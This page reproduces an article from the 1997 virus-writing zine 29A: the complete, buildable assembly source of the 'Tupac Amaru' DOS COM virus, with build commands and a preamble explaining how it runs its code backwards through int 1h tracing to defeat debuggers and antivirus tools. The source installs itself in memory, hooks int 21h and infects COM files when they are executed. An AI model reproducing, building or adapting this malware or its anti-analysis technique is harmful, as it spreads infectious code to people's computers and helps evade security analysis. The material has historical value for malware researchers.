Copy Link
Add to Bookmark
Report

29A Issue 02 05 02

eZine's profile picture
Published in 
29A
 · 4 years ago

  

; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;²²± .:. .: .:..: :. : .. ::.. ²²±
;²± Virus: Tupac Amaru . ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.. Author: Wintermute ²±
;²± Size: 1308 ::.ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ:.: Group: 29A ²±
;²± Date: August, 1997 .: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:. Origin: Espa¤a ²±
;²± >===ÛÛÛÜÜÜÜ=ÜÜÜÜÛÛÛ=ÛÛÛ=ÛÛÛ===->> ²±
;²± .: .:.ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ: .:.:.. ²±
;²²± ..: ::. . .:.. .: ..:.::.. .:.. :.. :.:.. ²²±
; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²±
;
; This virus itself is just a COM TSR virus... but... the innovation it has
; justifies the whole virus as something really cool and new... it's the
; first virus ever in the world that executes its code **BACKWARDS**.
;
; By means of int 1h, it executes one instruction, reverses the opcodes of
; the next one ( which is actually the one before :) ) and sets IP to that
; position, reversing again the instruction that has been just executed.
;
; Let's imagine Tupac at this position:
;
; db 0c7h, 08eh
; ÄÄÄ mov ax,2521h
; [...]
;
; Just after the "mov ax,2521h" is executed, the compiler will set CS:IP
; for the next instruction and then call int 1h. Then, we'll move that value
; into DS:SI, substracting to SI the size of "mov ax,2521h" (three bytes in
; this example; this size is known because the instruction length is checked
; during the last call before this one).
;
; We decrement SI by one, so we point to "08eh". The engine will then load
; this opcode and find the corresponding instruction length, getting 2 as
; result, and thus picking two bytes ( 08eh and the previous one, 0c7h ). So
; that, it will substract 2 to SI, push the instruction opcodes, and pop'em
; backwards, changing the CS:IP stored in the stack in order to point to
; this instruction. Also, it will reverse the instruction which has just
; been executed ( mov ax,2521h ).
;
; For every int 21h call, Tupac uses the "nop" instruction, 090h. It saves
; bytes, and also a good amount of time when trying to solve many problems.
;
; Conditional jumps are checked before they're executed: if the reversing
; engine has just decrypted the instruction before it, the updated CS:IP and
; encrypted the next, it's obvious that the virus will hang. So, the engine
; checks the flags... jump is made three bytes after the instruction it
; should jump to ( cause 2+1 will be substracted in order to get to the last
; opcode of the instruction we want to execute ).
;
; This is because Tupac executes backwards, making impossible for any
; debugger to trace it; MS-DOS debug, GameTools, Soft-ICE and TurboDebugger
; just get lost... the only way I found to check how the virus worked was by
; guessing with some tricks and using AVPUtil ( fucking good program,
; Kasp! ). All the debugging programs I know ( including AVPUtil if you
; are not modifying all the time CS:IP in order to execute the correct
; instructions ) will continue executing the whole code forwards without
; realising about wtf's really happening there ( and this obviously happens
; with AV software as well ).
;
; The virus is dedicated to the revolutionary group Tupac Amaru members
; who were killed after surrendering by the Peruvian army forces in the
; attack to the japanese embassy in Per£, Lima. The rebels surrendered,
; and Fujimori's men killed them one by one; the embassy was burning with
; the rebels inside it - among them a 16 year old girl - while Fujimori
; was congratulating his troops and singing the peruvian national hymn,
; talking with journalists to raise more popular and win the next elections.
;
; Also dedicated ( as so dedicated as it is to Tupac Amaru killed members )
; to the miners that excavated the tunnel to the embassy for the gov and
; later "dissapeared", and to all of Fujimori's victims: dissapeared
; students, tortured "enemies", and people who fight for democracy there...
;
; Well, also to all the people in the world that are punished because of
; talking about democracy and human rights :)
;
; Also some greetings to AVV, who told me about an idea about executing
; a decrypting routine backwards... idea I took, gave form, extended to a
; complete virus,... and finally brought ya ;)
;
;
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Habr  un d¡a en que todos, al levantar la vista,
; veremos una tierra, que ponga libertad.
; Sonar n las campanas desde los campanarios,
; y los campos desiertos, volveran a granar,
; unas espigas altas, dispuestas para el pan.
; Para un pan que en los siglos, nunca fue repartido,
; entre todos aquellos, que hicieron lo posible,
; por empujar la historia, hacia la libertad.
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ( from a revolution song )
;
;
; tasm tupac.asm /m2
; tlink tupac.obj
; x2b tupac.exe tupac.com ; An utility near Exe2bin
; del tupac.exe


.286
kodigo segment 'code'
assume cs:kodigo,ds:kodigo,es:kodigo
org 00h

tupac_start label byte

Tupac_amaru:

call delta
delta: mov si,sp ; We take the delta-offset
mov bp,word ptr [si]
sub bp,3

backtrace:
mov byte ptr cs:[installing_on+bp],0

mov ax,3521h
int 21h
mov word ptr [int21h+bp],bx
mov word ptr [int21h+2+bp],es

mov dx,bx
push es
pop ds
mov ax,25a9h
int 21h
push cs
pop ds

mov ax,3501h ; Get 1h
int 21h
mov word ptr [int1h+2+bp],es
mov word ptr [int1h+bp],bx
lea dx,back_zone+bp ; Set it to the zone that's going
mov ah,25h ;to control the backwards execution
int 21h

cli
pushf ; Now we set trap flag to 1
pop ax
or ah,1h
push ax
popf

jmp end_or_init ; To the beginning ( or end ? ;D )
;of the code


return: dw 0 ; For the push/pop of all regs
instanterior: db 1 ; Just executed instruction bytes
installing_on: db 0 ; Backtrace working ?

offset_jmp: dw 0
hay_salto: db 0 ; 1.- Interrupt 21h
; 2,3.- Jump

salto: db 090h,0e9h
lugarsalto: db 00h,00h ; Jump to virus code
buffer: db 53h,53h,0cdh,20h ; Buffer with host bytes

virus_name: db ' The Tupac Amaru virus, dedicated to all the people of '
db 'the MRTA who were killed by Fujimori''s troops after '
db 'surrendering at the japanese embassy on Lima, to all '
db 'the people killed and tortured in his government, and '
db 'finally to all those who work for democracy and for a '
db 'better world.',0

_Winter_: db 'Wintermute/29A',0


; ***************************************************************************
; RESIDENCE ROUTINE ZONE
; ***************************************************************************
;
; You should read this next backwards ;)

db 0c3h
db 0a5h
db 0a5h
db 057h
db 01h,00h,0bfh
db 01h,00h,offset buffer+1,0aeh,080h
db offset buffer
db 076h,08dh
db 01fh
db 07h
db 0eh,0eh

jmp1: ; Restore first four bytes

db 090h
db 01fh,06h
db 025h,021h,0b8h
db place_ff
db place_21-(place_ff*100h)
db 0bah

; Int 21h setting

jjmp7: db ((offset jmp7)-(offset jjmp7)),075h
db 49h
db 0a4h
jmp7:
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0eeh,089h
db 0ffh,031h
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h

; Copy virus to memory

db tupac_parag
db 00h,03h,02eh,083h,026h
jjmp6: db 0-((offset jjmp6)-(offset jmp1)),072h
db tupac_parag
db 00h,03h,03eh,080h,026h

; Some checks
jmp4:
jjmp5: db 0-((offset jjmp5)-(offset jmp1)),075h
db 00h,01h,016h,039h,026h
jjmp4: db 0ffh-((offset jjmp4)-(offset jmp4))+1,074h
db 00h,00h,01h,03eh,083h,026h
db 0dah,08ch

; We check if we fit in memory: if last Mcb is
;empty or it's program Psp

jmp2:
db ((offset jmp3)-(offset jmp2)),0ebh
db 0c7h,08eh
db 047h
db 00h,03h,03eh,03h,026h
jjmp2: db 0h-((offset jjmp2)-(offset jmp2)),074h
db 05ah,00h,00h,03eh,080h,026h
jmp3:
; Mcb Loop: Search for Mcb Z

db 0c7h,08eh
db 0eh,07fh,08bh,026h
db 0c0h,08eh
db 048h
db 0c0h,08ch
db 090h
db 052h,0b4h

; Search for the list of lists

jjmp1: db 0-((offset jjmp1)-(offset jmp1))
db 074h
db 0c0h,0c0h,03dh
db 090h
db 0c0h,0c0h,0b8h

; Installation check

end_or_init:
nop ; The 'nop' is the signal for the
;virus to start executing backwards
cli ; We don't want TbClean here, do we ?
neg sp
neg sp
sti

mov di,100h ; Restore bytes and return to host:
mov ax,word ptr [buffer+bp] ; there's a debugger out
mov word ptr cs:[100h],ax ; there... whoooo, I'm
mov ax,word ptr [buffer+bp+2]; afraid ! :)
mov word ptr cs:[102h],ax
jmp di

push_em_all: cli ; We save registers
pop cs:word ptr [return+bp]
pushf
push ax bx cx dx di si ds bp es
push cs:word ptr [return+bp]
sti
ret

pop_em_all: cli ; We recover registers
pop cs:word ptr [return+bp]
pop es bp ds si di dx cx bx ax
popf
push cs:word ptr [return+bp]
sti
ret

back_zone: ; Backwards executor zone ( where int 1h is attached )

call push_em_all

mov di,sp ; We got on DS:DI now the
mov si, word ptr ss:[di+20d] ;CS:IP has sent to the stack
mov ds, word ptr ss:[di+22d] ;
mov bx,word ptr ss:[di+24d] ; Pushed flags register

dec si
lodsb
cmp al,90h ; Nop will tell us when does the
jnz continua ;executing start; installing_on is
mov byte ptr cs:[installing_on+bp],1 ;a flag that tells
;we have to backtrace

continua:
cmp byte ptr cs:[installing_on+bp],0
jnz @adelante
jmp vamonos
@adelante:

; In AL we've got the first byte of the instruction we've
;just executed, but we cannot do nothin with this. First,
;we'll decrement ds:si, and sub si the last instruction
;size and which at the start lasts one byte ( the nop ),
;so we'll be at the first opcode of the backwards stored
;instructions we're going to execute.

xor dx,dx
mov dl,byte ptr cs:[instanterior+bp]
inc dl
sub si,dx ; So, DS:SI now points to the opcode
;that will be the start of the next
;backwards instruction

xor cx,cx

lodsb ; We load that opcode in Al, and
;check it with the table to verify
;it's lenght: only the opcodes used
;by the virus are checked.
@dsescsss:
mov ah,al


push si cx ds cs ; Table
pop ds

lea si,inittable1+bp
mov cx,57d
@buscaopcode:
lodsb ; Searches opcode in table
cmp ah,al
jz @encontrado
loop @buscaopcode

@encontrado:
push cx ; Searches where to jump
lea si,inittable2+bp
mov cx,114d
pop dx
sub cx,dx
sub cx,dx
add si,cx
lodsw
add ax,bp
pop ds cx si
jmp ax


inittable1:
db 03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h
db 08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh
db 0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h
db 06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h
db 05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h
db 099h,02dh,0a3h,040h,0feh,073h

;;;;;;;;;;;;;;;;;

inittable2:

dw offset @bytes4, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @prefijo, offset @bytes3
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @jjz, offset @bytes5, offset @bytes3
dw offset @bytes2, offset @bytes3, offset @bytes2
dw offset @finished_go, offset @bytes2, offset @bytes1
dw offset @bytes2, offset @bytes3, offset @bytes3
dw offset @jmp2aplace, offset @makeint, offset @bytes5
dw offset @bytes4, offset @jjnz, offset @jjb
dw offset @bytes2, offset @bytes2
dw offset @bytes3, offset @bytes1, offset @bytes1
dw offset @bytes3, offset @bytes1, offset @end_infect
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes2, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes2, offset @bytes2
dw offset @bytes1, offset @bytes1, offset @bytes1
dw offset @bytes1, offset @bytes1, offset @bytes3
dw offset @bytes4, offset @bytes1, offset @bytes3
dw offset @bytes3, offset @bytes1, offset @bytes4
dw offset @jjnb

@prefijo:
inc cx
dec si
dec si
lodsb
inc si
jmp @dsescsss

@makeint:
mov byte ptr cs:[hay_salto+bp],1
jmp @bytes1

@finished_go:
mov ds,word ptr [int1h+2+bp]
mov dx,word ptr cs:[int1h+bp]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],0100h
call pop_em_all
iret

@end_infect:
mov ds,word ptr cs:[int1h+2]
mov dx,word ptr cs:[int1h]
mov ax,2501h
int 21h
and byte ptr ss:[di+25d],0feh
mov word ptr ss:[di+20d],offset @@realend
call pop_em_all
iret

@@realend:
call pop_em_all
mov bp,word ptr cs:[bp_site]
jmp int21jump

@jjnb:
and bl,00000001b ; Conditional jnb jump check
jnz @bytes2
jmp @jmp2aplace

@jjb:
and bl,00000001b ; Conditional jb jump check
jz @bytes2
jmp @jmp2aplace

@jjnz:
and bl,01000000b ; Conditional jnz jump check
jnz @bytes2
jmp @jmp2aplace

@jjz:
and bl,01000000b ; Are we going to make the jump jz ?
jz @bytes2 ; If zero flag isn't on, we take it
;as a normal 2 bytes instruction
@jmp2aplace:
mov byte ptr cs:[hay_salto+bp],3
; To interpret well next instruction
mov bx,si ; And we put the instruction offset
;at [offsetjmp] to recode it on the
;next pass
dec bx
dec bx
mov word ptr cs:[offset_jmp+bp],bx
jmp @bytes2 ; Nothing to do now... let's leave
;the jump execute and then we'll
;do things ;)

@bytes5: inc cx
@bytes4: inc cx
@bytes3: inc cx
@bytes2: inc cx ; Cx has instruction lenght
@bytes1: inc cx

mov dh, byte ptr cs:[instanterior+bp]
mov byte ptr cs:[instanterior+bp],cl

mov dl,cl

sub si,cx ; We place SI at the end of the
mov di,cx ;backwards instruction ( ok, at the
;begin ;) )

@loop_guardar: lodsb ; We store each opcode in Al, on the
push ax ;stack
loop @loop_guardar

mov cx,di
sub si,cx
mov di,si
push ds
pop es

xor bx,bx
mov bl,cl

@loop_reponer: pop ax ; We take from the stack all opcodes
stosb ;and place them in a correct form
loop @loop_reponer
mov di,sp
mov word ptr ss:[di+20d],si ; And now we place Si, the
;instruction we're executing next

add si,bx
mov cl,dh

cmp byte ptr cs:[hay_salto+bp],2
jnz @sec_loop
mov si,word ptr cs:[offset_jmp+bp]
mov byte ptr cs:[hay_salto+bp],0


@sec_loop: lodsb ; Now we're codyfing the just
push ax ;executed instruction, "backwarding"
loop @sec_loop ;it; it will be exactly as it was.

mov cl,dh
sub si,cx
mov di,si
@sec_store: pop ax ; So we store backwards
stosb
loop @sec_store

vamonos:
cmp byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst
jnz vamos_ya ;just before the jump,
dec byte ptr cs:[hay_salto+bp] ;so it will be the next
;executing
vamos_ya:
call pop_em_all
pushf

cmp byte ptr cs:[hay_salto+bp],1
jnz @return
mov byte ptr cs:[hay_salto+bp],0
sti
int 0a9h ; Int 21h
cli

@return:
popf
; Pop registers and go
iret


;***************************************************************************
; FILE INFECTION
;***************************************************************************


db 0f8h ; "End of infection" mark

db 090h
db 01fh,05ah,058h

; Restore int24h
@jmp3:
db 90h
db 03eh,0b4h

db 90h
db 40h
db 058h
db 05ah
db 059h

@close:
db 90h
db 00,offset salto,0bah
db 00h,04h,0b9h
db 040h,0b4h

db 090h
db 099h
db 0c9h,031h
db 042h,00h,0b8h
; Now to the init

db 90h
db tupac_ff
db tupac_size-(tupac_ff*100h)
db 0b9h
db 0d2h,031h
db 040h,0b4h

; Attach to the end

db 00h,offset lugarsalto,0a3h
db 00h,04h,02dh

@len: db 0-((offset @len)-(offset @close)),073h
db 0c3h,050h,03dh

db 90h
db 099h
db 0c9h,031h
db 042h,02h,0b8h

db 00h,offset buffer+1,06h,0feh
@jjmp4: db 0-((offset @jjmp4)-(offset @close))
db 074h

db 0a7h,3ch
db 00h,offset buffer+1,06h,02h

@jjmp5: db 0-((offset @jjmp5)-(offset @close))
db 074h
db 090h,03ch
db 00h,offset buffer,0a0h

db 90h
db 00,offset buffer,0bah
db 00h,04h,0b9h
db 03fh,0b4h
db 01fh
db 0eh

; Read first four bytes

db 051h
db 052h
db 090h
db 050h
db 057h,00h,0b8h

; Save the date

db 0c3h,087h
db 090h
db 03dh,02h,0b8h

@jmp1: ; Open file

db 0f2h,089h
db 0d9h,08eh

db 090h
db place_ff24
db place_21-(place_ff24*100h)
db 0bah
db 01fh
db 0eh
db 050h
db 025h,0b4h
db 06h
db 053h
db 090h
db 035h,024h,0b8h
db 0d9h,08ch
db 0f2h,087h

; Save the int 24h

start_infecting: nop ; Infection start

;**********************************
; INT 21H HANDLER
;**********************************

in21 label byte
INT21HANDLER:
cmp ax,0c0c0h
jz i_check
cmp ax,4b00h
jz infect
jmp int21jump

i_check:
iret

infect:
mov word ptr cs:[bp_site],bp
xor bp,bp
call push_em_all
mov byte ptr cs:[installing_on],0

init_1:
push ds dx

push cs
pop ds
mov ax,3501h ; Get int1h
int 21h
mov word ptr [int1h+2],es
mov word ptr [int1h],bx
push cs
pop es
lea dx,back_zone ; Redirect it to the zone that's
mov ax,2501h ;going to control backwards execution
int 21h

cli
pushf ; Trap flag = 1
pop ax
or ah,1h
push ax
popf

pop dx ds

@continue:
jmp start_infecting

int1h: dw 0,0

bp_site: dw 0

int21jump: db 0eah
int21h: dw 0,0

in24 label byte
the24: mov al,3
iret

nop

place_21 equ in21-tupac_start
place_ff equ (place_21/0100h)
place_24 equ in24-tupac_start
place_ff24 equ (place_24/0100h)
tupac_end label byte
tupac_size equ tupac_end-tupac_start
tupac_parag equ ((tupac_size+15)/16)+2
tupac_ff equ (tupac_size/0100h)

kodigo ends
end tupac_amaru

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT